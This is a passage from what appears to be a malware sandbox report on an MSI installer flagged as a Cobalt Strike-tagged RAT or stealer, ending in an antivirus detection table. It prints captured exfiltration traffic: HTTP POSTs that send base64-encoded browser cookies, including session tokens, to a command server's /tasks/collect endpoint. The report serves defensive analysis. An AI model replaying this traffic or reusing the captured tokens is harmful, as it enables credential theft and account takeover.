StNRmxrUTFkYVdrOXRTVFJCUVZGQlFXSndXRk5TYm5sTFFWbzBWSHBXYlhkT1REQjZXVlZyUVRCVFJEQmFVVEpxYTI0eE1XOHhUVXA0U1hoU1VrY3ZVR2hNV0VaVlUwRlNkREJWY0hOc1NDOU1SU3RtTVdKUlVYbzFSRkkxTnk5cmRXRkNTVll2YWxsMk1XcDRUa1JMUTJZclNUaHdabTVxYW5NdmQzQm5hMFJPV0doTWFrWnFjekIzT0hwR2NYaERaMlZwZUhoSGFXOUNOMU5JWWpGV1dtOUpWM2tyWTBGQ1VUaG9OVUl2Wld4RFVURllVRmQ0Tm5STFQzbHhZMHRqWVdkTWIzQlJRM05qYlZRd1oxb3hVekUzVDBGVFlteHhjMFZaUldscmEwaHNPVXRaVG10MlFtVlVRMVZEUWpCNmNtRnRha05GV0cxV2RWWnRlV3gxZVdSdE0yaFpaV0ZvYjBVNFdXMTBabXRZVmtSRGJYZE1SSHBQYkRSSlRrMW5SREJJZFVsdU5VZDJlamg1U2t4V1VtNU5WMk5qWjB4QlZuQTVNWEZ2TWtzeVdFcEpjelZuWmpReGRVRjNVbUZUVlU1NFVYWTFUemRSTWtVd1NpdGxhMnd4Y0d4bVRWSnJZVXhSTTA5aWJFZFVVVzlxV21wNFRVOXJiMlZRZUZWa2NqaHhja3MyTURFMlkwNW5jR2ROVWtGQlJVRkJTemcxTkZRck1sUjNjbUpKWVdZNFRqaEtRM3AwVG5ZeFYyNUVTRzVRYUZad1RHWmpWbEIyWms5bmN6RXhkbGxvYW5KeVJUTlhjRU5MZGpWUE4wSnJSSGR4UVdwck5IQlpXbTVRTDBKNFFVNWxiekpNYWpKd2NFRkhVbms1WnpOcVVYWnhUWEZFY2tVdk9VbDZNSE5zY1hsTGIyZEVUVFF4UTBORVFWSkhhR1YwU0ZJeVRXd3JSMWhOZG05dFdWcEdSbXcyY2l0eFJUazFMMkZVUlcxR1VqbEdieXRDTTNnclNuRlVWMkZLTlcxNWJtbzJVSFJTZGpsVmFFZEZkVEkyYzJaemVYZ3diV1ZhVkN0cWIycExVRTU2Y3l0a2FEVjJaSGQzUkVOSlRXcGpZV2x2WVUxMEwwTjVWa1ZuVm1sME9ERTRXaTlRZUhOU1ZrMVhUVWh6WTBGMWRtZE5kMkZwYUVaTmVIZFJZaXN5WnpRd1NYcEljV3B0U2toSVlsSktVV2M0VEhRMmJWcHNXWEJoUVhJNU5XaHRSUzl1WTFWellYUnRUVTk1U25nNVlsRkpVVTVDUjA1WlEyNXpMMGhaY0ZaTFFrSTBRVUpCUVVGMFEyUldjMjlIUkhwNGNXUTFPUzlGYjJJd1VrVkxUbWN6VnpVelFVTlJTRE0xU2xOb2FsTTRSWE5TUlRWWVRETnhhMjR6VlV0WE1Wb3lTRzR4Tm1aRWQzUnFZek5JVWk5TlUxWnhTSHBXVlRNM2IzaFlPVTEzVHpaeFRVRlFaRTFtTUcxSWJqWm5Sa1J2UTFSdVpVTjVlSFJrVG5wM1JGUlpVV3hLSzA5UFdVbDNMM2hHTkZaRWMxWnVkalJqVVZkWFdXdHFVbXRSVmxGa1pGRk1kRkl3UlVWeFJVSlBUVGRIVW1sVWFtZFFXVGcxZW5KUWVsUlFlQzh4UzJObllWQkhSRk5ZUlhWdlFXVkpNbTAwZUN0ek9FeFBNMVpDVlV4MVZIbHNNV2MzWm5VNGFISkZkVzlIVEc1bFZHNXZablJhZG05aFJGaFFURTlhWm5wT1V5c3Jlbms1Y2t4alpFSkRhaTlDZW5NclMxRnZZV3BIUVdjeVN6QjFlbkp2V0hSRGRXWk5WbEZ3YzFscWVFVkpaazl0ZVdoSCJ9LHsiZG9tYWluIjoiYXBwLnZzc3BzLnZpc3VhbHN0dWRpby5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTUzMjQzNTI0MywiaHR0cE9ubHkiOnRydWUsIm5hbWUiOiJGZWRBdXRoMSIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6ImEyczRRemg0U0ZJMFlVWkhiekZpVmtGVldESkhkVUp1TVVacE5YQklVRU4xUjBORFowdDZhbVpxVnlzNFFsQTRZaXRLUTFjMFZtVmplV2RUZGxWclNVVnFjM0ppV20xbGQwcHRZblZhUTIxUGFFTmFTRU4yVTJOVVMwRklXREowVVhRclUzbG9RVlYyZUdWcmVXaHJZMHhJZVRWcE9IUldVbkpSTTBSQ05tcFVkRTU2WWpscE5qVjFiekJVYzBsT1oxRnBXRmRaTlVaRWNEazVkVmRRTTFKMlRHUjFVRWc0V1hkNFkydG5aVUpDTkRoNVpuQXZjVE55T1ZORU5tczVZVEZhZFhSdFlpODRWeTluWkhweU1Xc3ZMMHBOV0VwemIwaDJjRE5KUkd4VkswSk9PVmRoVDNkQ2FtZFVSVEo0VDNSWlYzUnZPV0pVTVZKeE4zaFViMVJ3VkZsa1ExVjBRbXR2WWs5Uk1tcENUbVpwUTNkT1ltc3ZhRGxDWlVGSFQyeHhWbUUzTUdOd2FqUlBiRUp0TVVnM2R6VlhXazgwY3pWa1ZsaHZUSGRRTVZWMmJXZERRbXBKT1d0RmJUTkxiWGxEV2xCb1drb3pRbXRoVHpCUFlqbDVjSEZ2Y25Fdk5WWnNWV1UwY20xa2VHUlRNMnhaUkZSaGVGaG1TVXd4UjFoRlRWaFZSbmRCWXpodlpISk5ZamxyTUU5TFIxZElLMHhJWm1WWVFWbzJSRkZMY1dNeGNsbEZkMHRwYUV4TFJGUk1SMk0xWjB0TlFTdHBNbUY1TW1Wbk5sZHZiRXhDU1ZKNVdqZ3daVEJPYjJOcmFsRlFPSGxrVFZKWFVsY3JVMlYzZVZsSmJpdGFNMlV4U0cxSlRUZG1XRGgwY1RGWldtMHliQ3QzUXpVd01FcFdWblZxT1VKVEwxRlNaMGxTUWpkMmIwTXZaRXdyWWxOSE1tMVZjSEZ3ZDA4MVJtdFROa3R2UWt4UGREWkhPRzF5YVN0UFVIa3JSMUl3VmsxcVVWVnpVRVJHVDJKQmRsVkxjVEZqZWpCRU5IUTFZbVJGY2xsc1pIUnRSVTQzYXpsMll6UnJja2R2UjJsRGJUVmlTV0psVG5RMk5sSkJPRGR0WVhnek1TdENObXRCZDNaVWRrRmxjV2hyYTBOMVNtNDNiU3RsZVdSMVFWSlNibVY2ZDNrd1luSkVWVTlLTkZGMlRrSmplV0ZGU1dkSFJVOXpXVTkxZFRZellVZHliVXhMVFN0cVYwTmxOblFyVGt4cmJVdEpXRVZxYlc1V1p6UjRTMmh0TUU1S016STFiV3Q2Um1odU1FcHBUVFJUTlRRclVGbHBUVWRuUTB4WVpUUTNMeTluWTJ4SWFWRnZTMkU1VVZKNFpFMHhVR1JCWkc5d2NHZEhNWEowTjA5TkszTk1aMjVIZFRodFVFdFVURkptT0ZGcGNuTTNNbFZqTVVSb2MwUm5hamwxVWpBd1dpczVUMFJyWjA5MGMzQnFNMkZ6VkhBd1pUSTJRbUpuVEhNemEyaElZMDlJYTFsWFMxSkdjRlpCUlU1Sk1pODVVV05hZWpkWlEycEdLelZxV0RKNWREUlBTVlpUZFhobE4xRkVObWR5YWpCc00xRlNOVWhVTldoT01XbFdPRUU1UzJsUVNqRmFSV3BzTjFwNU0zRTVUVVZ4UkRFNVVuQnVNSE5ZUmxoSGVuVTVOVlJITW1wUFkzcHNRVFE1UW5rck1rcHRiazExVkZoTVlUSlVibmQwUkRsWFJubHFiVmxLTVcxT1dUUkZkRlZyV2tnNVVHcG1XakJHYkNzcll6WmtUbHBoYlUxc1VtOWFhR1J2VmpaaWVDdFRiVkZJYVVsbk9WVmtXa1puUFQwOEwwTnZiMnRwWlQ0OEwxTmxZM1Z5YVhSNVEyOXVkR1Y0ZEZSdmEyVnVQZz09In0seyJkb21haW4iOiJteS52aXN1YWxzdHVkaW8uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjE1MzI0MzUyNDMsImh0dHBPbmx5Ijp0cnVlLCJuYW1lIjoiRmVkQXV0aCIsInBhdGgiOiIvIiwic2VjdXJlIjp0cnVlLCJ2YWx1ZSI6Ijc3dS9QRDk0Yld3Z2RtVnljMmx2YmowaU1TNHdJaUJsYm1OdlpHbHVaejBpZFhSbUxUZ2lQejQ4VTJWamRYSnBkSGxEYjI1MFpYaDBWRzlyWlc0Z2NERTZTV1E5SWw4MU0yVmpZV1U1TUMwM05UazJMVFF6WkRjdFlXWXlaQzFpTkdJME1qaG1aRGhpWmpndE1FRkJOMFF6UWpFMVEwVTFNRVkxTkVZeE1FTkdOVGcwTlVJME1qRTRPRGNpSUhodGJHNXpPbkF4UFNKb2RIUndPaTh2Wkc5amN5NXZZWE5wY3kxdmNHVnVMbTl5Wnk5M2MzTXZNakF3TkM4d01TOXZZWE5wY3kweU1EQTBNREV0ZDNOekxYZHpjMlZqZFhKcGRIa3RkWFJwYkdsMGVTMHhMakF1ZUhOa0lpQjRiV3h1Y3owaWFIUjBjRG92TDJSdlkzTXViMkZ6YVhNdGIzQmxiaTV2Y21jdmQzTXRjM2d2ZDNNdGMyVmpkWEpsWTI5dWRtVnljMkYwYVc5dUx6SXdNRFV4TWlJK1BFbGtaVzUwYVdacFpYSStkWEp1T25WMWFXUTZPVFppTmpJeU9EWXROekE1TmkwME1qQm1MV0U0TnpBdFltVTJZVFkwWTJJeE4yTTNQQzlKWkdWdWRHbG1hV1Z5UGp4RGIyOXJhV1VnZUcxc2JuTTlJbWgwZEhBNkx5OXpZMmhsYldGekxtMXBZM0p2YzI5bWRDNWpiMjB2ZDNNdk1qQXdOaTh3TlM5elpXTjFjbWwwZVNJK01GbGtRMWRhV2s5dFNUUkJRVkZCUVU4MGEydDNUa2MxY1hBNVR6TXlURmhzU2xWVlUyc3hhM2hzYkdGYUwwTlpZeTlaUjBoR1JXUkNZMjVqUXpSYWJrZHFXV1ZTTWxFeFlUQjRRWGxUVjNncllUQXJNVU5hT0RkaVlWQjJOVXg0YVRReWJWSjVNR1IwYjA1dWJVbEZkVTB4Um1aMllXOXRjV3hCV0dOdWR6VkZMMUI0WmtWaFZrSmliVEp4YVM5elR6VkhlbU16WjFGbGJpOUphRzlJUzIxM01FZ3laWEZCVG5OSVN6VTBVMXAzTUdKV2IzbEhWbUphYkc1RGNrRnJTWGgyUTBaQ09GZzFXbVptYWxGaVNYSlVhV2gyTVhObUsyOXRjRTR6WWpjM1EwUndjM2xxV1VweVFXMVRNV2RFUW5Kbk9YVnZaMFF3VERoaVZTdFNWVEpOVFZWME1VUlpNR3g1TjJ0VGNrRnJObXRIVEUxTE1FRjVWeXRDYVVGSmEyaGxaakJDVkM5T2RYYzFRa1pXT0cwNFVUZ3JVbXc0VFU5clExUTFNVk5sVm5SUVNqVjVRVUZrTldGckswUjVaWGRYZW1wSlYyNHlaak5SYkhGSFpFVlBSVlJDVFZKcllVeFJNMDlpYkVkVVVXOXFXbXA0VFU5cmIyVlFlRlZrY2poeGNrczJNREUyWTA1bmNHZE5Va0ZCUlVGQlNYTkNVR2xxVTJoWlEwWTNOMGxuZG1Oc1QzZFlia296TTNwaFpTc3JZVUZrUkRVMVJFOUNNRVJWY21FNFZTOVdLM294TmpkNldqVkdXWE52WjJ0cFdsaG9VV3BQZWt4RGQzSnRjekptTkZKb1lreFNNVU5MWmxreVoyTkhObXhsVG5sbVdtczNhMUpVYmt0QlkzUmhhMXB2U1ZRM1RGWkVVMDlFY2psVWFVRkxXU3MxTlRsemVIRkxXV0ZHTUZZNVFXVm9VMHRxYzB0R2IxWm5iVmh4UXpFelR6SkVhSE5TYVVZNWJGTkJjRUpsTkV0Tk5sQTVjMWRMTm5sSVVsQm5LMmMyWVhveVVrbEdaUzlJTW1kak9VeHNXbWx0VkdsUlIyeGhTa2RCYWxVMmVucDFZUzlrTnpCR2F6UTRNbWt2ZFRNNFZFMXdTak5WZFRCQ1JubFphbVZWT0ROeFREY3hiWGRZWlhVNE1WcGxSaTkzZG5CQmFWUXpVVlJ3WW1ReVFWUTFNeXRWVG5oMGF6VkhhMlJ1Vm5WWFFWSjJSMmxNVUVWNk1sQkdhbnBGTkdWeFdsVktkRVJIVmpSaEwzWkNMMFkxTm0xUVowRjNRVUZSYzJ3NWFuTlRZM1JWYVhkVGN6TmhUM0JHV0RSVUswY3ZMMmc0V0V0U01tNXFObmxYYlZWM2FHMVFTelpXWjB0ekx6SllhV3QxYTNwdGVuUTVhbFpwUnpWQ2NYbEllVUptTTNORU1WWk1kbHBNWjFCdWVubzJiMmRRWmtRelVHcHJaMGRuWTBRd1VuUkpORVZYZFc5eE5VWkJMM3BLZEUxWkswRnBhR28zYW5sR2NuTTNVMUZ0UVdaeVRpdE5VblpGZWxwU1F6SnNMMEpxZUdvd1MxRmxaWEZtYkRNNVpWTlpkRk16VjIxalVtUlJSRGQ0VW0xRmVtZHVVREZMYkVoTVoyWXhiVEpvYzBGMWMwTnFabk0yTjBkYVdUUkphQzlKTUc5UVEwSk9LekJTTTA5UlNtbFFWVXRsVGxCUWNFdEVSM1pUT0c4NFkyOWhaRmQ2TURremQxZGhWM0UwTDNKclNEUkJjMkZ2YzJOcFJtdFBNREIyTlRSUWR6QXpPQ3RPYUdsV2VIWXJPR1ZYV0M5dVprMTZTR2xVIn0seyJkb21haW4iOiJteS52aXN1YWxzdHVkaW8uY29tIiwiZXhwaXJhdGlvbkRhdGUiOjE1MzI0MzUyNDMsImh0dHBPbmx5Ijp0cnVlLCJuYW1lIjoiRmVkQXV0aDEiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiJkMDFOYXpWQ1JtMUhVME5GVGpaNWJGTkZiRVpxYUZrNGNYQXZkV3RhUkdGdFdVdExOVEpIUkhSUlduVm5ZV0pQV2tnMFJIWXJZVU5WUWl0RGIxZE9lbE5hV0RWMFVuQkpiMEpKYjNSeWJWQkhjV3RFZG5aaE4wMHhZMDFrWlRkNVRtbDVjbWRzYWpOamJWaFFaM2x4V0VSeFYwRnNRekpIYkc1WVYwZHlVSFJFVEUwd1JsbEtZMjFHVjNGUWFWVk9jR3Q2VlUxc09GZE1Sa1E1UVhaR05FRnJaM1JZTm1sc1ZGSXpSV2RvYjNSeWQxVk1aM2N4VUVKTU9EazVZVTVzTldNMVlrVlhUek55VFRVelNtcE5TR040Ykdwc09FZFRZbGd3YUV4b1UxVTRhVXd6VGtJeVFqUXlOamszVnpaU1JuTkdZVXd4ZUhoSmVtTndMemd4WVV4SGQwWXJZMnRIYzBweldUZHROMk42WXk5MlFXcHBWVVpwU25oSVlsZE5ibTV0YVVKWVEzRjBSVk5TWTJaclVHeDROVmgxVGtGVUsxTmtiVGN5WVhkUVMyZGhiVk5HUlVodlkwcENaMjFFTldsc1RYSnNRVWgwZFZWdkwyNXFTbGh2UTFwSFVuVk1WbmQxUWpWSE1Gb3pURVJFYm5WVGVVRndSMHBUWWxsWmQxbGxVVXMwVTJwMFlteEVNR3BWVjNGTWFub3JOMnBrVGt0aFUybENTRW80TVVSRFRuaHdLMnhpUkRNMmIxWkVka2xOV0cxU09FRmxWRFZyYmsxeGFqWmFNblJ3U25RM01YVnBkM1pXUjFsbldtMHZSMVZ1WTNOb1FVTm5WRXgyU21wUFdYRlJNMGRGZVRoWFJYbElRVXN6VHpJNFNEQmpWVmhCYm01TVZYZHVOVTUxVDAwMk0yNUxLM1V4UkdwMVlVeHlZbFptTTBac2JIZE5SWFJSYVVSMVVIY3Zaalp3YkhaWVFubE9RbFZZS3pGdWEzUldja1pwTmpCek5XeGlLMFJqYm1WVlJVSXhaMVp0VFZOd1pYZ3ZjV2xXTjFGVlpVVklaR2R1T1ROSFNWZEtPVzhyZDNOa09FYzNSMDB4YkZOVVRVZ3JVV0l2VDFkTWVIWlJTelZ3VDBsaGFGZ3dhVlZaUkd4QmFXdFBRbEp6UmtvNFVXcHVWQzh4U1RkQlYwUm5iR05UTVVKeWNGSjVZa05TTURsVE1tWk1kSE5pVG5jemEzVjZSSEJKZVhFMFNHb3laVVl6YVhWdGMwOUdOR2xTUWpKc0szcG5kakUzU0ZSYVduRjFPVFlyVVUxT1JFMHdXRmxpYVdkMldFcGliRGRqUVhaUGVFOUdVa2RLZGxkcVdFNURaRUppYlhweWMxVnhLMUIwVGtsSU5IaFNLMU0xVkdzNVZUSmhMMWRtV2xsMGJVTTRjbnB3U1hReVRsSXZhamN3ZWtsemNXVldXbUV5ZVd4dlNXYzRVbXd2YTNkUWFIcEZkV3BET1dwMU5rVlliSG80ZDJGaGJteDVkbmhPWkdGRksycExNV1pxV25oMldFdDVWQ3RDUlhkTFRESkJjakIzUmpOUVdITkZTVVI0VDJkQ05tRkpWWGxLV210dWRXWllOblUwYkRCM2VXOVlRamQ1UzBsQ2F6VTBSRWhuWjFBMGNsTnRWVE5EWjFvMFpYUm1kbFJTVVd4U2FIWnJhM2RRYkhGQlVHUlZjemhKYWtkeVp6WlpkbEk1VkhCcmNHRnBZVnBwYTJwYU9YUnhhVlJzU0dkUE0yTkpWVEkyWkdGUWJWRTlQQzlEYjI5cmFXVStQQzlUWldOMWNtbDBlVU52Ym5SbGVIUlViMnRsYmo0PSJ9LHsiZG9tYWluIjoidmxzY3BwZS5taWNyb3NvZnQuY29tIiwiZXhwaXJhdGlvbkRhdGUiOjE2ODczNTA0NjcsImh0dHBPbmx5Ijp0cnVlLCJuYW1lIjoidGh4X2d1aWQiLCJwYXRoIjoiLyIsInNlY3VyZSI6dHJ1ZSwidmFsdWUiOiI0NTlmN2M1ODVjY2M0ZTFiYWU5NjAzOTEzOGI5M2ZkZSJ9LHsiZG9tYWluIjoiLm1pY3Jvc29mdC5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTU5NDk4ODg2OCwiaHR0cE9ubHkiOnRydWUsIm5hbWUiOiJNVUlEIiwicGF0aCI6Ii8iLCJzZWN1cmUiOnRydWUsInZhbHVlIjoiMTJhMTE0OTUtODIxNi00NjhjLWI0ZWYtOTFhMDE1NjRlZGQ3In0seyJkb21haW4iOiIuZ29vZ2xlLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxNTM0NDIyNjc3LCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJPR1AiLCJwYXRoIjoiLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiLTUwNjE0NTE6In0seyJkb21haW4iOiIuZ29vZ2xlLmNvbSIsImV4cGlyYXRpb25EYXRlIjoxNTM0NDIyNjgwLCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiIxUF9KQVIiLCJwYXRoIjoiLyIsInNlY3VyZSI6ZmFsc2UsInZhbHVlIjoiMjAxOC0wNy0xNy0xMiJ9LHsiZG9tYWluIjoiLm1pY3Jvc29mdC5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTU5NDkwMjY4MiwiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoib3B0aW1pemVseUVuZFVzZXJJZCIsInBhdGgiOiIvIiwic2VjdXJlIjpmYWxzZSwidmFsdWUiOiJvZXUxNTMxODMwNDU5NzQ4cjAuOTczMzkyODU3OTAxMjYwNCJ9LHsiZG9tYWluIjoiLm1pY3Jvc29mdC5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTU5NDkwMjY4NywiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoiX2dhIiwicGF0aCI6Ii8iLCJzZWN1cmUiOmZhbHNlLCJ2YWx1ZSI6IkdBMS4yLjc0NjExOTU5Ni4xNTMxODMwMzkwIn0seyJkb21haW4iOiIubWljcm9zb2Z0LmNvbSIsImV4cGlyYXRpb25EYXRlIjoxNTMxOTE3MDg3LCJodHRwT25seSI6ZmFsc2UsIm5hbWUiOiJfZ2lkIiwicGF0aCI6Ii8iLCJzZWN1cmUiOmZhbHNlLCJ2YWx1ZSI6IkdBMS4yLjE2ODA2ODc0ODguMTUzMTgzMDM5MCJ9LHsiZG9tYWluIjoiLm1pY3Jvc29mdC5jb20iLCJleHBpcmF0aW9uRGF0ZSI6MTUzMTgzMDc0NywiaHR0cE9ubHkiOmZhbHNlLCJuYW1lIjoiX2dhdCIsInBhdGgiOiIvIiwic2VjdXJlIjpmYWxzZSwidmFsdWUiOiIxIn1dfQ==","type":"1002","uuid":"536f8583-f344-4337-a401-456bac7e97f1"}" HTTP/1.1 200 OK Content-Length: 12 Content-Type: text/plain; charset=utf-8 Date: Sat 19 Apr 2025 16:35:00 GMT Server: nginx/1.18.0 (Ubuntu) Vary: Origin X-Request-Id: 0247aced-132f-4b71-8a35-0de31b67456b Connection: close with response body ==>7B226F6B223A747275657D0A....... "POST /tasks/collect HTTP/1.1 Accept: */* Connection: close Content-Length: 148 Content-Type: application/json Host: sysoieaosgwoeesa.xyz:443 User-Agent: cpp-httplib/0.12.1" with payload::==> "{"status":true,"task_result":"eyJjaHJvbWUiOm51bGwsImVkZ2UiOm51bGwsImZpcmVmb3giOm51bGx9","type":"1003","uuid":"536f8583-f344-4337-a401-456bac7e97f1"}" HTTP/1.1 200 OK Content-Length: 12 Content-Type: text/plain; charset=utf-8 Date: Sat 19 Apr 2025 16:35:01 GMT Server: nginx/1.18.0 (Ubuntu) Vary: Origin X-Request-Id: 9dd88b95-1155-4d09-9e57-121555a89bf0 Connection: close with response body ==>7B226F6B223A747275657D0A....... "POST /tasks/collect HTTP/1.1 Accept: */* Connection: close Content-Length: 128 Content-Type: application/json Host: sysoieaosgwoeesa.xyz:443 User-Agent: cpp-httplib/0.12.1" with payload::==> "{"status":true,"task_result":"eyJjaHJvbWUiOm51bGwsImVkZ2UiOm51bGx9","type":"1013","uuid":"536f8583-f344-4337-a401-456bac7e97f1"}" HTTP/1.1 200 OK Content-Length: 12 Content-Type: text/plain; charset=utf-8 Date: Sat 19 Apr 2025 16:35:01 GMT Server: nginx/1.18.0 (Ubuntu) Vary: Origin X-Request-Id: c0e9048b-cefc-4223-a938-cc831f775243 Connection: close with response body ==>7B226F6B223A747275657D0A.......1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"c646bcca5046a575acde3510dd03a5fe26d0b4aae36da41cd76f00b0cff49793","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791296000519,"unified_at":"2026-10-06T14:13:20.519Z","metadata":{"hashes":{"sha256":"c646bcca5046a575acde3510dd03a5fe26d0b4aae36da41cd76f00b0cff49793","sha1":"2380bc3aa766f0939eeb8cd22e7a4be3679145f4","md5":"d7f7fab6a91f6b2db5d9a3e95a7a679d","sha512":"deb72a303d23150f195d0bb5ba1758a7b7f0322f80f7dc616091fff9695022534372c570c27b70f9758835a7972b435fbf3c3767158b596159aa42c1f07336c9","ssdeep":"98304:XpoG6mSbsua9OIScdIa/OrkDqhfPx40oBjY02ftdJ6:YfWWcl2YD64/BjY7fHJ","ssdeep_chunks":["98304:XpoG6mS","98304:poG6mSb","98304:oG6mSbs","98304:G6mSbsu","98304:6mSbsua","98304:mSbsua9","98304:Sbsua9O","98304:bsua9OI","98304:sua9OIS","98304:ua9OISc","98304:a9OIScd","98304:9OIScdI","98304:OIScdIa","98304:IScdIa/","98304:ScdIa/O","98304:cdIa/Or","98304:dIa/Ork","98304:Ia/OrkD","98304:a/OrkDq","98304:/OrkDqh","98304:OrkDqhf","98304:rkDqhfP","98304:kDqhfPx","98304:DqhfPx4","98304:qhfPx40","98304:hfPx40o","98304:fPx40oB","98304:Px40oBj","98304:x40oBjY","98304:40oBjY0","98304:0oBjY02","98304:oBjY02f","98304:BjY02ft","98304:jY02ftd","98304:Y02ftdJ","98304:02ftdJ6","196608:XpoG6mS","196608:poG6mSb","196608:oG6mSbs","196608:G6mSbsu","196608:6mSbsua","196608:mSbsua9","196608:Sbsua9O","196608:bsua9OI","196608:sua9OIS","196608:ua9OISc","196608:a9OIScd","196608:9OIScdI","196608:OIScdIa","196608:IScdIa/","196608:ScdIa/O","196608:cdIa/Or","196608:dIa/Ork","196608:Ia/OrkD","196608:a/OrkDq","196608:/OrkDqh","196608:OrkDqhf","196608:rkDqhfP","196608:kDqhfPx","196608:DqhfPx4","196608:qhfPx40","196608:hfPx40o","196608:fPx40oB","196608:Px40oBj","196608:x40oBjY","196608:40oBjY0","196608:0oBjY02","196608:oBjY02f","196608:BjY02ft","196608:jY02ftd","196608:Y02ftdJ","196608:02ftdJ6","98304:YfWWcl2","98304:fWWcl2Y","98304:WWcl2YD","98304:Wcl2YD6","98304:cl2YD64","98304:l2YD64/","98304:2YD64/B","98304:YD64/Bj","98304:D64/BjY","98304:64/BjY7","98304:4/BjY7f","98304:/BjY7fH","98304:BjY7fHJ"],"imphash":"Unknown"},"file_info":{"file_name":"setup0324_or_1.msi","file_type":["msi","data"],"file_type_id":"msi","file_size":4182016,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1744995040000,"last_seen":1745080340000,"last_multi_scan":1745080340000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","targetedcrimeware","rat","targeted","cobaltstrike","criminal","malicious"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":69},"sandbox_signatures":{"informative_count":145,"suspicious_count":13,"malicious_count":5,"total":163},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.Agent.taomh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Spy.U.Gen.tr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"ABTrojan.NLXR-","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT 